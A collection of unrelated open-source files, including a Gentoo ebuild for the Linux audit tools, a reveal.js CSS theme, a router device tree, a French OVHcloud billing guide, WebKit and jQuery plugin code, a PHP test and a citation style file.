<type name="ILocalVariableTypeTableEntry"/>
<type name="IMethodInfo"/>
<type name="IModifierConstants" implement="false"/>
<type name="IOpcodeMnemonics" implement="false"/>
<type name="IParameterAnnotation"/>
<type name="IRuntimeInvisibleAnnotationsAttribute"/>
<type name="IRuntimeInvisibleParameterAnnotationsAttribute"/>
<type name="IRuntimeVisibleAnnotationsAttribute"/>
<type name="IRuntimeVisibleParameterAnnotationsAttribute"/>
<type name="ISignatureAttribute"/>
<type name="ISourceAttribute"/>
<type name="IStackMapAttribute"/>
<type name="IStackMapFrame"/>
<type name="IStackMapTableAttribute"/>
<type name="IVerificationTypeInfo"/>
<type name="OpcodeStringValues" subclass="false" instantiate="false"/>
</package>
<component-depends unrestricted="true"/>
</component>
|
{
"pile_set_name": "Github"
}
|
# Copyright 1999-2020 Gentoo Authors
# Distributed under the terms of the GNU General Public License v2
EAPI="6"
PYTHON_COMPAT=( python3_6 )
inherit autotools multilib multilib-minimal toolchain-funcs preserve-libs python-r1 linux-info systemd usr-ldscript
DESCRIPTION="Userspace utilities for storing and processing auditing records"
HOMEPAGE="https://people.redhat.com/sgrubb/audit/"
SRC_URI="https://people.redhat.com/sgrubb/audit/${P}.tar.gz"
LICENSE="GPL-2+ LGPL-2.1+"
SLOT="0"
KEYWORDS="~alpha amd64 arm ~arm64 hppa ~ia64 ~mips ppc ppc64 s390 sparc x86"
IUSE="gssapi ldap python static-libs"
REQUIRED_USE="python? ( ${PYTHON_REQUIRED_USE} )"
# Testcases are pretty useless as they are built for RedHat users/groups and kernels.
RESTRICT="test"
RDEPEND="gssapi? ( virtual/krb5 )
ldap? ( net-nds/openldap )
sys-libs/libcap-ng
python? ( ${PYTHON_DEPS} )"
DEPEND="${RDEPEND}
>=sys-kernel/linux-headers-2.6.34
python? ( dev-lang/swig:0 )"
# Do not use os-headers as this is linux specific
CONFIG_CHECK="~AUDIT"
pkg_setup() {
linux-info_pkg_setup
}
src_prepare() {
eapply_user
# Do not build GUI tools
sed -i \
-e '/AC_CONFIG_SUBDIRS.*system-config-audit/d' \
"${S}"/configure.ac || die
sed -i \
-e 's,system-config-audit,,g' \
"${S}"/Makefile.am || die
rm -rf "${S}"/system-config-audit
if ! use ldap; then
sed -i \
-e '/^AC_OUTPUT/s,audisp/plugins/zos-remote/Makefile,,g' \
"${S}"/configure.ac || die
sed -i \
-e '/^SUBDIRS/s,zos-remote,,g' \
"${S}"/audisp/plugins/Makefile.am || die
fi
# Don't build static version of Python module.
eapply "${FILESDIR}"/${PN}-2.4.3-python.patch
# glibc/kernel upstreams suck with both defining ia64_fpreg
# This patch is a horribly workaround that is only valid as long as you
# don't need the OTHER definitions in fpu.h.
eapply "${FILESDIR}"/${PN}-2.1.3-ia64-compile-fix.patch
# there is no --without-golang conf option
sed -e "/^SUBDIRS =/s/ @gobind_dir@//" -i bindings/Makefile.am || die
# Regenerate autotooling
eautoreconf
}
multilib_src_configure() {
local ECONF_SOURCE=${S}
econf \
--sbindir="${EPREFIX}/sbin" \
$(use_enable gssapi gssapi-krb5) \
$(use_enable static-libs static) \
--enable-systemd \
--without-python \
--without-python3
if multilib_is_native_abi; then
python_configure() {
mkdir -p "${BUILD_DIR}" || die
cd "${BUILD_DIR}" || die
if python_is_python3; then
econf --without-python --with-python3
else
econf --with-python --without-python3
fi
}
use python && python_foreach_impl python_configure
fi
}
src_configure() {
tc-export_build_env BUILD_{CC,CPP}
export CC_FOR_BUILD="${BUILD_CC}"
export CPP_FOR_BUILD="${BUILD_CPP}"
multilib-minimal_src_configure
}
multilib_src_compile() {
if multilib_is_native_abi; then
default
python_compile() {
local pysuffix pydef
if python_is_python3; then
pysuffix=3
pydef='USE_PYTHON3=true'
else
pysuffix=2
pydef='HAVE_PYTHON=true'
fi
emake -C "${BUILD_DIR}"/bindings/swig \
VPATH="${native_build}/lib" \
LIBS="${native_build}/lib/libaudit.la" \
_audit_la_LIBADD="${native_build}/lib/libaudit.la" \
_audit_la_DEPENDENCIES="${S}/lib/libaudit.h ${native_build}/lib/libaudit.la" \
${pydef}
emake -C "${BUILD_DIR}"/bindings/python/python${pysuffix} \
VPATH="${S}/bindings/python/python${pysuffix}:${native_build}/bindings/python/python${pysuffix}" \
auparse_la_LIBADD="${native_build}/auparse/libauparse.la ${native_build}/lib/libaudit.la" \
${pydef}
}
local native_build="${BUILD_DIR}"
use python && python_foreach_impl python_compile
else
emake -C lib
emake -C auparse
fi
}
multilib_src_install() {
if multilib_is_native_abi; then
emake DESTDIR="${D}" initdir="$(systemd_get_systemunitdir)" install
python_install() {
local pysuffix pydef
if python_is_python3; then
pysuffix=3
pydef='USE_PYTHON3=true'
else
pysuffix=2
pydef='HAVE_PYTHON=true'
fi
emake -C "${BUILD_DIR}"/bindings/swig \
VPATH="${native_build}/lib" \
LIBS="${native_build}/lib/libaudit.la" \
_audit_la_LIBADD="${native_build}/lib/libaudit.la" \
_audit_la_DEPENDENCIES="${S}/lib/libaudit.h ${native_build}/lib/libaudit.la" \
${pydef} \
DESTDIR="${D}" install
emake -C "${BUILD_DIR}"/bindings/python/python${pysuffix} \
VPATH="${S}/bindings/python/python${pysuffix}:${native_build}/bindings/python/python${pysuffix}" \
auparse_la_LIBADD="${native_build}/auparse/libauparse.la ${native_build}/lib/libaudit.la" \
${pydef} \
DESTDIR="${D}" install
}
local native_build=${BUILD_DIR}
use python && python_foreach_impl python_install
# things like shadow use this so we need to be in /
gen_usr_ldscript -a audit auparse
else
emake -C lib DESTDIR="${D}" install
emake -C auparse DESTDIR="${D}" install
fi
}
multilib_src_install_all() {
dodoc AUTHORS ChangeLog README* THANKS TODO
docinto contrib
dodoc contrib/{avc_snap,skeleton.c}
docinto contrib/plugin
dodoc contrib/plugin/*
docinto rules
dodoc rules/*
newinitd "${FILESDIR}"/auditd-init.d-2.4.3 auditd
newconfd "${FILESDIR}"/auditd-conf.d-2.1.3 auditd
[ -f "${ED}"/sbin/audisp-remote ] && \
dodir /usr/sbin && \
mv "${ED}"/{sbin,usr/sbin}/audisp-remote || die
# Gentoo rules
insinto /etc/audit/
newins "${FILESDIR}"/audit.rules-2.1.3 audit.rules
doins "${FILESDIR}"/audit.rules.stop*
# audit logs go here
keepdir /var/log/audit/
find "${D}" -name '*.la' -delete || die
# Security
lockdown_perms "${ED}"
}
pkg_preinst() {
# Preserve from the audit-1 series
preserve_old_lib /$(get_libdir)/libaudit.so.0
}
pkg_postinst() {
lockdown_perms "${EROOT}"
# Preserve from the audit-1 series
preserve_old_lib_notify /$(get_libdir)/libaudit.so.0
}
lockdown_perms() {
# Upstream wants these to have restrictive perms.
# Should not || die as not all paths may exist.
local basedir="$1"
chmod 0750 "${basedir}"/sbin/au{ditctl,report,dispd,ditd,search,trace} 2>/dev/null
chmod 0750 "${basedir}"/var/log/audit/ 2>/dev/null
chmod 0640 "${basedir}"/etc/{audit/,}{auditd.conf,audit.rules*} 2>/dev/null
}
|
{
"pile_set_name": "Github"
}
|
/**
* Black theme for reveal.js. This is the opposite of the 'white' theme.
*
* By Hakim El Hattab, http://hakim.se
*/
@import url(../../lib/font/source-sans-pro/source-sans-pro.css);
section.has-light-background, section.has-light-background h1, section.has-light-background h2, section.has-light-background h3, section.has-light-background h4, section.has-light-background h5, section.has-light-background h6 {
color: #222; }
/*********************************************
* GLOBAL STYLES
*********************************************/
body {
background: #191919;
background-color: #191919; }
.reveal {
font-family: "Source Sans Pro", Helvetica, sans-serif;
font-size: 42px;
font-weight: normal;
color: #fff; }
::selection {
color: #fff;
background: #bee4fd;
text-shadow: none; }
::-moz-selection {
color: #fff;
background: #bee4fd;
text-shadow: none; }
.reveal .slides section,
.reveal .slides section > section {
line-height: 1.3;
font-weight: inherit; }
/*********************************************
* HEADERS
*********************************************/
.reveal h1,
.reveal h2,
.reveal h3,
.reveal h4,
.reveal h5,
.reveal h6 {
margin: 0 0 20px 0;
color: #fff;
font-family: "Source Sans Pro", Helvetica, sans-serif;
font-weight: 600;
line-height: 1.2;
letter-spacing: normal;
text-transform: lowercase;
text-shadow: none;
word-wrap: break-word; }
.reveal h1 {
font-size: 2.5em; }
.reveal h2 {
font-size: 1.6em; }
.reveal h3 {
font-size: 1.3em; }
.reveal h4 {
font-size: 1em; }
.reveal h1 {
text-shadow: none; }
/*********************************************
* OTHER
*********************************************/
.reveal p {
margin: 20px 0;
line-height: 1.3; }
/* Ensure certain elements are never larger than the slide itself */
.reveal img,
.reveal video,
.reveal iframe {
max-width: 95%;
max-height: 95%; }
.reveal strong,
.reveal b {
font-weight: bold; }
.reveal em {
font-style: italic; }
.reveal ol,
.reveal dl,
.reveal ul {
display: inline-block;
text-align: left;
margin: 0 0 0 1em; }
.reveal ol {
list-style-type: decimal; }
.reveal ul {
list-style-type: disc; }
.reveal ul ul {
list-style-type: square; }
.reveal ul ul ul {
list-style-type: circle; }
.reveal ul ul,
.reveal ul ol,
.reveal ol ol,
.reveal ol ul {
display: block;
margin-left: 40px; }
.reveal dt {
font-weight: bold; }
.reveal dd {
margin-left: 40px; }
.reveal blockquote {
display: block;
position: relative;
width: 70%;
margin: 20px auto;
padding: 5px;
font-style: italic;
background: rgba(255, 255, 255, 0.05);
box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); }
.reveal blockquote p:first-child,
.reveal blockquote p:last-child {
display: inline-block; }
.reveal q {
font-style: italic; }
.reveal pre {
display: block;
position: relative;
width: 90%;
margin: 20px auto;
text-align: left;
font-size: 0.55em;
font-family: monospace;
line-height: 1.2em;
word-wrap: break-word;
box-shadow: 0px 5px 15px rgba(0, 0, 0, 0.15); }
.reveal code {
font-family: monospace;
text-transform: none; }
.reveal pre code {
display: block;
padding: 5px;
overflow: auto;
max-height: 400px;
word-wrap: normal; }
.reveal table {
margin: auto;
border-collapse: collapse;
border-spacing: 0; }
.reveal table th {
font-weight: bold; }
.reveal table th,
.reveal table td {
text-align: left;
padding: 0.2em 0.5em 0.2em 0.5em;
border-bottom: 1px solid; }
.reveal table th[align="center"],
.reveal table td[align="center"] {
text-align: center; }
.reveal table th[align="right"],
.reveal table td[align="right"] {
text-align: right; }
.reveal table tbody tr:last-child th,
.reveal table tbody tr:last-child td {
border-bottom: none; }
.reveal sup {
vertical-align: super;
font-size: smaller; }
.reveal sub {
vertical-align: sub;
font-size: smaller; }
.reveal small {
display: inline-block;
font-size: 0.6em;
line-height: 1.2em;
vertical-align: top; }
.reveal small * {
vertical-align: top; }
/*********************************************
* LINKS
*********************************************/
.reveal a {
color: #42affa;
text-decoration: none;
-webkit-transition: color .15s ease;
-moz-transition: color .15s ease;
transition: color .15s ease; }
.reveal a:hover {
color: #8dcffc;
text-shadow: none;
border: none; }
.reveal .roll span:after {
color: #fff;
background: #068de9; }
/*********************************************
* IMAGES
*********************************************/
.reveal section img {
margin: 15px 0px;
background: rgba(255, 255, 255, 0.12);
border: 4px solid #fff;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.15); }
.reveal section img.plain {
border: 0;
box-shadow: none; }
.reveal a img {
-webkit-transition: all .15s linear;
-moz-transition: all .15s linear;
transition: all .15s linear; }
.reveal a:hover img {
background: rgba(255, 255, 255, 0.2);
border-color: #42affa;
box-shadow: 0 0 20px rgba(0, 0, 0, 0.55); }
/*********************************************
* NAVIGATION CONTROLS
*********************************************/
.reveal .controls {
color: #42affa; }
/*********************************************
* PROGRESS BAR
*********************************************/
.reveal .progress {
background: rgba(0, 0, 0, 0.2);
color: #42affa; }
.reveal .progress span {
-webkit-transition: width 800ms cubic-bezier(0.26, 0.86, 0.44, 0.985);
-moz-transition: width 800ms cubic-bezier(0.26, 0.86, 0.44, 0.985);
transition: width 800ms cubic-bezier(0.26, 0.86, 0.44, 0.985); }
/*********************************************
* PRINT BACKGROUND
*********************************************/
@media print {
.backgrounds {
background-color: #191919; } }
/* Chandan custom alterations */
.reveal h1,
.reveal h2,
.reveal h3,
.reveal h4,
.reveal h5,
.reveal h6 {
text-transform: lowercase;
}
.reveal section img {
background:none;
border:none;
box-shadow:none;
filter: invert(1);
}
iframe {
filter: invert(1);
}
body {
background: #000;
background-color: #000;
}
.divmomentum {
position: relative;
width: block;
height: 600px;
overflow: hidden;
}
/* .divnn1 {
position: relative;
width: block;
height: 1200px;
width: 2000px;
overflow: hidden;
} */
|
{
"pile_set_name": "Github"
}
|
/dts-v1/;
#include "bcm6358.dtsi"
#include <dt-bindings/input/input.h>
/ {
model = "Alcatel RG100A";
compatible = "alcatel,rg100a", "brcm,bcm6358";
gpio-leds {
compatible = "gpio-leds";
stop_green {
label = "96358VW2:green:stop";
gpios = <&gpio0 4 1>;
};
power_green {
label = "96358VW2:green:power";
gpios = <&gpio0 5 1>;
default-state = "on";
};
adsl_green {
label = "96358VW2:green:adsl";
gpios = <&gpio0 22 1>;
};
ppp_fail_green {
label = "96358VW2:green:ppp-fail";
gpios = <&gpio0 23 0>;
};
};
};
&pflash {
status = "ok";
linux,part-probe = "bcm63xxpart";
cfe@0 {
label = "CFE";
reg = <0x000000 0x020000>;
read-only;
};
linux@20000 {
label = "linux";
reg = <0x020000 0xfc0000>;
};
nvram@fe0000 {
label = "nvram";
reg = <0xfe0000 0x020000>;
};
};
|
{
"pile_set_name": "Github"
}
|
---
title: 'Gérer mes factures OVHcloud'
slug: gerer-factures-ovh
excerpt: 'Découvrez comment gérer vos factures et les paiements liés à celles-ci'
section: Facturation
---
**Dernière mise à jour le 16/10/2018**
## Objectif
OVH met à votre disposition un espace vous permettant de consulter, gérer et régler vos différentes factures, le tout sans interruption de service.
**Ce guide vous explique comment effectuer les différentes actions de ce menu.**
> [!primary]
>
> En fonction de votre lieu de résidence et de sa législation en vigueur, ainsi que du ou des produits concernés, il est possible que certaines parties de ce guide varient et/ou ne s’appliquent pas à votre situation. Si vous avez le moindre doute, référez-vous à vos contrats OVH disponibles dans votre [espace client](https://ca.ovh.com/auth/?action=gotomanager){.external}, rubrique `Mes services`{.action} puis `Mes contrats`{.action}.
>
## Prérequis
- Être connecté à l'[espace client OVH](https://ca.ovh.com/auth/?action=gotomanager){.external}.
- Être connecté en tant que contact facturation de votre service (plus de détails sur les différents contacts dans le guide « [Gérer les contacts de ses services](https://docs.ovh.com/fr/customer/gestion-des-contacts/){.external} »).
## En pratique
### Comprendre votre facture
La facture vous est envoyée suite au règlement d'une commande ou à un renouvellement automatique. Elle récapitule les produits payés ou à payer avec les périodes de renouvellement correspondantes et le montant des services. La référence d'une facture commence toujours par les lettres « FR ».
{.thumbnail}
|Numéro|Description|
|---|---|
|1|Les informations sur la facture, à savoir sa référence, la date d'émission, le bon de commande auquel elle se réfère, le type de paiement et enfin l'identifiant client.|
|2|Un récapitulatif des informations du contact facturation.|
Ci-dessous vous retrouverez le détail des services facturés :
- « Abonnement » : une description du service et de la période facturée ;
- « Domaine » : la référence du service facturé ;
- « Quantité » : le nombre d'unités du service facturé ;
- « Prix unitaire » et « Prix HT » : le tarif des services.
Les taxes seront ajoutées en bas, dans le récapitulatif global du montant indiqué « Total TTC ».
> [!primary]
>
> Si la mention « Relevé de compte » apparaît au niveau du moyen de paiement utilisé, cela signifie qu'il s'agit d'un renouvellement automatique. Le moyen de paiement utilisé sera forcément celui qui a été validé dans l'[espace client OVH](https://ca.ovh.com/auth/?action=gotomanager){.external}.
>
### Découvrir l'espace facturation
#### Consulter et gérer ses factures
Pour consulter vos factures, rendez-vous dans votre [espace client OVH](https://ca.ovh.com/auth/?action=gotomanager){.external} dans la section `Facturation`{.action} en cliquant sur votre prénom en haut à droite. Vous arriverez alors sur une page récapitulative de vos différentes factures :
{.thumbnail}
Sur chaque ligne du tableau vous retrouverez les informations suivantes :
- la référence de la facture (exemple : FR12345678) ;
- la date d'émission de la facture ;
- le montant de la facture ;
- le solde à régler ;
- la date à laquelle la facture est dûe ;
- `...`{.action} : différentes actions seront possibles.
> [!primary]
>
> Si le solde à régler apparaît en rouge, une facture est en attente de paiement. La date à laquelle la facture est dûe vous indiquera qu'un paiement est à effectuer immédiatement.
>
Si la mention « Informations non disponibles » apparaît, cela signifie que la facture n'est pas liée à un renouvellement automatique. Vous pourrez afficher ces informations en cliquant sur `...`{.action}. Trois possibilités vous seront alors offertes :
{.thumbnail}
- `Voir la version HTML`{.action} : la facture s'ouvrira dans un nouvel onglet de votre navigateur internet ;
- `Voir la version PDF`{.action} : un fichier au format PDF sera généré et vous pourrez le télécharger ;
- `Voir les détails pour cette facture`{.action} : vous pourrez vérifier l'historique des opérations effectuées sur cette facture.
Afin de vous simplifier la lecture, plusieurs filtres sont à votre disposition :
{.thumbnail}
Afin de retrouver une facture précise, il est possible d'indiquer une référence ou de vérifier la ou les factures sur une période donnée : trois mois, six mois, un an ou une période que vous spécifiez.
Le bouton `Exporter en CSV`{.action} vous permet de télécharger un fichier Excel au format .csv dans lequel seront récapitulées les factures sélectionnées. Ce fichier fera apparaître le montant, la référence et la date d'émission de ces factures.
#### Régler mon solde
Afin de procéder au règlement de vos factures en attente de paiement, il vous suffit de cliquer sur le bouton `Régler mon solde immédiatement`{.action}.
{.thumbnail}
Un [bon de commande](https://docs.ovh.com/fr/billing/gerer-ses-commandes-ovh/#le-bon-de-commande){.external} de régularisation sera alors créé. Une fois le paiement effectué, la situation sera régularisée.
### Suivre les paiements
Vous pouvez suivre tous les paiements effectués depuis la partie `Facturation` dans `Suivi des paiements`{.action}. Ceci permet de faire le lien entre les factures et les paiements associés. La référence d'un justificatif de paiement commence toujours par les lettres « PA_FR ».
{.thumbnail}
Depuis cet espace, vous pouvez également exporter vos justificatifs de paiement au format .csv. Comme pour la gestion des factures, vous pouvez filtrer les périodes à afficher.
> [!primary]
>
> Si vous constatez une différence entre un paiement et le montant d'une facture, cela signifie que vous possédiez un avoir qui a automatiquement diminué le montant prélevé.
>
## Aller plus loin
Échangez avec notre communauté d'utilisateurs sur <https://community.ovh.com>.
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (C) 2012 Google Inc. All rights reserved.
* Copyright (C) 2013 Nokia Corporation and/or its subsidiary(-ies).
* Copyright (C) 2015, 2016 Ericsson AB. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name of Google Inc. nor the names of its contributors
* may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "RTCIceCandidate.h"
#if ENABLE(WEB_RTC)
#include <wtf/IsoMallocInlines.h>
namespace WebCore {
WTF_MAKE_ISO_ALLOCATED_IMPL(RTCIceCandidate);
inline RTCIceCandidate::RTCIceCandidate(const String& candidate, const String& sdpMid, Optional<unsigned short> sdpMLineIndex)
: m_candidate(candidate)
, m_sdpMid(sdpMid)
, m_sdpMLineIndex(sdpMLineIndex)
{
ASSERT(!sdpMid.isNull() || sdpMLineIndex);
}
ExceptionOr<Ref<RTCIceCandidate>> RTCIceCandidate::create(const Init& dictionary)
{
if (dictionary.sdpMid.isNull() && !dictionary.sdpMLineIndex)
return Exception { TypeError };
return create(dictionary.candidate, dictionary.sdpMid, dictionary.sdpMLineIndex);
}
Ref<RTCIceCandidate> RTCIceCandidate::create(const String& candidate, const String& sdpMid, Optional<unsigned short> sdpMLineIndex)
{
return adoptRef(*new RTCIceCandidate(candidate, sdpMid, sdpMLineIndex));
}
} // namespace WebCore
#endif // ENABLE(WEB_RTC)
|
{
"pile_set_name": "Github"
}
|
/**
* jquery-textrange
*
* A jQuery plugin for getting, setting and replacing the selected text in input fields and textareas.
* See the [README](https://github.com/dwieeb/jquery-textrange/blob/1.x/README.md) for usage and examples.
*
* (c) 2012-2017 Daniel Imhoff <dwieeb@gmail.com> - dwieeb.com
*/
(function(factory) {
if (typeof define === 'function' && define.amd) {
define(['jquery'], factory);
} else if (typeof exports === 'object') {
factory(require('jquery'));
} else {
factory(jQuery);
}
})(function($) {
var browserType,
textrange = {
/**
* $().textrange() or $().textrange('get')
*
* Retrieves an object containing the start and end location of the text range, the length of the range and the
* substring of the range.
*
* @param (optional) property
* @return An object of properties including position, start, end, length, and text or a specific property.
*/
get: function(property) {
return _textrange[browserType].get.apply(this, [property]);
},
/**
* $().textrange('set')
*
* Sets the selected text of an object by specifying the start and length of the selection.
*
* The start and length parameters are identical to PHP's substr() function with the following changes:
* - excluding start will select all the text in the field.
* - passing 0 for length will set the cursor at start. See $().textrange('setcursor')
*
* @param (optional) start
* @param (optional) length
*
* @see https://secure.php.net/manual/en/function.substr.php
*/
set: function(start, length) {
var s = parseInt(start),
l = parseInt(length),
e;
if (typeof start === 'undefined') {
s = 0;
} else if (start < 0) {
s = this[0].value.length + s;
}
if (typeof length !== 'undefined') {
if (length >= 0) {
e = s + l;
} else {
e = this[0].value.length + l;
}
}
_textrange[browserType].set.apply(this, [s, e]);
return this;
},
/**
* $().textrange('setcursor')
*
* Sets the cursor at a position of the text field.
*
* @param position
*/
setcursor: function(position) {
return this.textrange('set', position, 0);
},
/**
* $().textrange('replace')
* Replaces the selected text in the input field or textarea with text.
*
* @param text The text to replace the selection with.
*/
replace: function(text) {
_textrange[browserType].replace.apply(this, [String(text)]);
return this;
},
/**
* Alias for $().textrange('replace')
*/
insert: function(text) {
return this.textrange('replace', text);
}
},
_textrange = {
xul: {
get: function(property) {
var props = {
position: this[0].selectionStart,
start: this[0].selectionStart,
end: this[0].selectionEnd,
length: this[0].selectionEnd - this[0].selectionStart,
text: this.val().substring(this[0].selectionStart, this[0].selectionEnd)
};
return typeof property === 'undefined' ? props : props[property];
},
set: function(start, end) {
if (typeof end === 'undefined') {
end = this[0].value.length;
}
this[0].selectionStart = start;
this[0].selectionEnd = end;
},
replace: function(text) {
var start = this[0].selectionStart;
var end = this[0].selectionEnd;
var val = this.val();
this.val(val.substring(0, start) + text + val.substring(end, val.length));
this[0].selectionStart = start;
this[0].selectionEnd = start + text.length;
}
},
msie: {
get: function(property) {
var range = document.selection.createRange();
if (typeof range === 'undefined') {
var props = {
position: 0,
start: 0,
end: this.val().length,
length: this.val().length,
text: this.val()
};
return typeof property === 'undefined' ? props : props[property];
}
var start = 0;
var end = 0;
var length = this[0].value.length;
var lfValue = this[0].value.replace(/\r\n/g, '\n');
var rangeText = this[0].createTextRange();
var rangeTextEnd = this[0].createTextRange();
rangeText.moveToBookmark(range.getBookmark());
rangeTextEnd.collapse(false);
if (rangeText.compareEndPoints('StartToEnd', rangeTextEnd) === -1) {
start = -rangeText.moveStart('character', -length);
start += lfValue.slice(0, start).split('\n').length - 1;
if (rangeText.compareEndPoints('EndToEnd', rangeTextEnd) === -1) {
end = -rangeText.moveEnd('character', -length);
end += lfValue.slice(0, end).split('\n').length - 1;
} else {
end = length;
}
} else {
start = length;
end = length;
}
var props = {
position: start,
start: start,
end: end,
length: length,
text: range.text
};
return typeof property === 'undefined' ? props : props[property];
},
set: function(start, end) {
var range = this[0].createTextRange();
if (typeof range === 'undefined') {
return;
}
if (typeof end === 'undefined') {
end = this[0].value.length;
}
var ieStart = start - (this[0].value.slice(0, start).split("\r\n").length - 1);
var ieEnd = end - (this[0].value.slice(0, end).split("\r\n").length - 1);
range.collapse(true);
range.moveEnd('character', ieEnd);
range.moveStart('character', ieStart);
range.select();
},
replace: function(text) {
document.selection.createRange().text = text;
}
}
};
$.fn.extend({
textrange: function(arg) {
var method = 'get';
var options = {};
if (typeof this[0] === 'undefined') {
return this;
}
if (typeof arg === 'string') {
method = arg;
} else if (typeof arg === 'object') {
method = arg.method || method;
options = arg;
}
if (typeof browserType === 'undefined') {
browserType = 'selectionStart' in this[0] ? 'xul' : document.selection ? 'msie' : 'unknown';
}
// I don't know how to support this browser. :c
if (browserType === 'unknown') {
return this;
}
// Focus on the element before operating upon it.
if (!options.nofocus && document.activeElement !== this[0]) {
this[0].focus();
}
if (typeof textrange[method] === 'function') {
return textrange[method].apply(this, Array.prototype.slice.call(arguments, 1));
} else {
$.error("Method " + method + " does not exist in jQuery.textrange");
}
}
});
});
|
{
"pile_set_name": "Github"
}
|
--TEST--
Test compact() function : usage variations - arrays containing references.
--FILE--
<?php
/* Prototype : proto array compact(mixed var_names [, mixed ...])
* Description: Creates a hash containing variables and their values
* Source code: ext/standard/array.c
* Alias to functions:
*/
/*
* compact variations - arrays with references
*/
echo "*** Testing compact() : usage variations - arrays containg references ***\n";
$a = 1;
$b = 2;
$c = 3;
$string = "c";
$arr1 = array("a", &$arr1);
$arr2 = array("a", array(array(array("b"))));
$arr2[1][0][0][] = &$arr2;
$arr2[1][0][0][] = &$arr2[1];
$arr3 = array(&$string);
var_dump(compact($arr1));
var_dump(compact($arr2));
var_dump(compact($arr3));
echo "Done";
?>
--EXPECTF--
*** Testing compact() : usage variations - arrays containg references ***
Warning: compact(): recursion detected in %s on line %d
array(1) {
["a"]=>
int(1)
}
Warning: compact(): recursion detected in %s on line %d
Warning: compact(): recursion detected in %s on line %d
Warning: compact(): recursion detected in %s on line %d
Warning: compact(): recursion detected in %s on line %d
array(2) {
["a"]=>
int(1)
["b"]=>
int(2)
}
array(1) {
["c"]=>
int(3)
}
Done
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<style xmlns="http://purl.org/net/xbiblio/csl" class="in-text" version="1.0" default-locale="en-US" page-range-format="minimal">
<info>
<title>Journal of Biosciences</title>
<title-short>JBSC</title-short>
<id>http://www.zotero.org/styles/journal-of-biosciences</id>
<link href="http://www.zotero.org/styles/journal-of-biosciences" rel="self"/>
<link href="http://www.zotero.org/styles/frontiers-in-ecology-and-the-environment" rel="template"/>
<link href="https://www.springer.com/life+sciences/journal/12038" rel="documentation"/>
<link href="http://www.springer.com/cda/content/document/cda_downloaddocument/JB-instruction+for+authors.pdf?SGWID=0-0-45-412498-p173709705" rel="documentation"/>
<author>
<name>Patrick O'Brien, PhD</name>
<email>citationstyler@gmail.com</email>
</author>
<category citation-format="author-date"/>
<category field="biology"/>
<issn>0250-5991</issn>
<eissn>0973-7138</eissn>
<updated>2019-08-06T12:41:33+00:00</updated>
<rights license="http://creativecommons.org/licenses/by-sa/3.0/">This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License</rights>
</info>
<macro name="editor-translator">
<names variable="editor translator" delimiter=", ">
<label form="short" strip-periods="true" prefix="(" suffix=") "/>
<name and="text" initialize-with="" delimiter=", "/>
<et-al font-style="italic"/>
</names>
</macro>
<macro name="author">
<names variable="author">
<name name-as-sort-order="all" sort-separator=" " initialize-with="" delimiter=", " and="text"/>
<et-al font-style="italic"/>
<label form="short" prefix=" (" suffix=")" text-case="capitalize-first" strip-periods="true"/>
<substitute>
<names variable="editor"/>
<names variable="translator"/>
<text macro="title"/>
</substitute>
</names>
</macro>
<macro name="author-short">
<names variable="author">
<name form="short" and="text" delimiter=", " initialize-with=". "/>
<et-al font-style="italic"/>
<substitute>
<names variable="editor"/>
<names variable="translator"/>
<choose>
<if type="bill book graphic legal_case legislation motion_picture report song" match="any">
<text variable="title" form="short"/>
</if>
<else>
<text variable="title" form="short" quotes="true"/>
</else>
</choose>
</substitute>
</names>
</macro>
<macro name="title">
<choose>
<if type="book" match="any">
<text variable="title" font-style="italic"/>
</if>
<else>
<text variable="title"/>
</else>
</choose>
</macro>
<macro name="publisher">
<choose>
<if type="thesis" match="any">
<group delimiter=", ">
<text variable="publisher"/>
<text variable="publisher-place"/>
</group>
</if>
<else>
<group delimiter=": " prefix="(" suffix=")">
<text variable="publisher-place"/>
<text variable="publisher"/>
</group>
</else>
</choose>
</macro>
<macro name="access">
<choose>
<if type="article-journal" match="any">
<choose>
<if variable="page" match="none">
<text variable="DOI" prefix="https://doi.org/"/>
</if>
</choose>
</if>
</choose>
</macro>
<citation collapse="year-suffix" et-al-min="3" et-al-use-first="1" disambiguate-add-year-suffix="true" year-suffix-delimiter=", ">
<sort>
<key variable="issued"/>
<key macro="author-short"/>
</sort>
<layout prefix="(" suffix=")" delimiter="; ">
<group delimiter=" ">
<text macro="author-short"/>
<date variable="issued">
<date-part name="year"/>
</date>
<group>
<label variable="locator" form="short"/>
<text variable="locator" prefix=" "/>
</group>
</group>
</layout>
</citation>
<bibliography et-al-min="9" et-al-use-first="1" line-spacing="2" hanging-indent="true">
<sort>
<key macro="author-short"/>
<key variable="issued"/>
</sort>
<layout>
<group delimiter=" ">
<text macro="author"/>
<date variable="issued">
<date-part name="year"/>
</date>
<choose>
<if type="bill book graphic legal_case legislation motion_picture report song" match="any">
<group delimiter=" ">
<text macro="title"/>
<text macro="editor-translator"/>
